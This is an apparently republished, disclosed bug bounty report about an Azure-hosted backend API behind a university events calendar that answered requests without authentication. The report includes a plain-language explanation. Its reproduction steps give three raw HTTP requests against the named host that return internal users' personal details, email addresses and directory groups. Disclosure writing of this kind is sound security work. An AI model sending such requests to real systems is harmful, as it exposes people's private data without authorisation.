Unauthenticated access to internal API at██████████.███.edu [HtUS]
Several API endpoints on an Azure-hosted backend were reachable without authentication, even though the front-end site was restricted to internal Microsoft users. An attacker could call these endpoints directly and receive personal details of internal users, internal email addresses and group information.
Originally disclosed on HackerOne
- Triaged in 6 hours
- Fixed in 33 days
- Paid in 23 hours
- Disclosed after 2.0 years
#Overview:
-
There are multiple API calls using which an attacker user is able to gain unauthenticated access to internal API████████.██████.edu via Azure API url appg3entcalapi.azurewebsites.net.
-
The access to█████.██████.edu is via microsoft and only allows internal users to access it.
-
The appg3entcalapi.azurewebsites.net is listed as the API under the javascript located at https://eventscalendar.████.edu/app.js
██████
#Steps to reproduce:
#(I) Vulnerable Request: Disclose PII of internal users-
GET /api/person/Default.GetAllPersons HTTP/1.1
Host: appg3entcalapi.azurewebsites.net
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 2
{}
-
Copy the above vulnerable request to your BURP repeater tab and fire the request.
-
Notice the 200 OK response disclosing the details.
██████████
#(II) Vulnerable Request: Disclose adgroups & internal emails-
GET /api/AdGroup HTTP/1.1
Host: appg3entcalapi.azurewebsites.net
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Length: 2
{}
-
Copy the above vulnerable request to your BURP repeater tab and fire the request.
-
Notice the 200 OK response disclosing the details.
█████
#(III) Vulnerable Request:
GET /api/EventType HTTP/1.1
Host: appg3entcalapi.azurewebsites.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 2
{}
-
Copy the above vulnerable request to your BURP repeater tab and fire the request.
-
Notice the 200 OK response disclosing the details.
███████
Impact
Unauthenticated access to internal API at████.████████.edu
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the backend API relied on the front-end site's access restriction and did not enforce authentication or authorisation on its own endpoints.
Impact
An unauthenticated attacker could read personal information of internal users and internal email and group data from the API.
What the attacker needed
None
How it was found
- Find the backend API address in the public JavaScript file of the events calendar site.
- Send a request to the person listing endpoint without any credentials.
- Observe a successful response containing internal user details.
- Send a request to the ad group endpoint without credentials and observe internal emails and groups.
- Send a request to the event type endpoint without credentials and observe the data returned.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The public events calendar page was meant to be used only by people inside the organisation, and it talked to a separate backend service. That backend did not check who was calling it, so anyone who found its address could ask it for lists of people and email addresses. This is like a staff-only filing cabinet whose door was left unlocked because the lock was only on the front office door.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.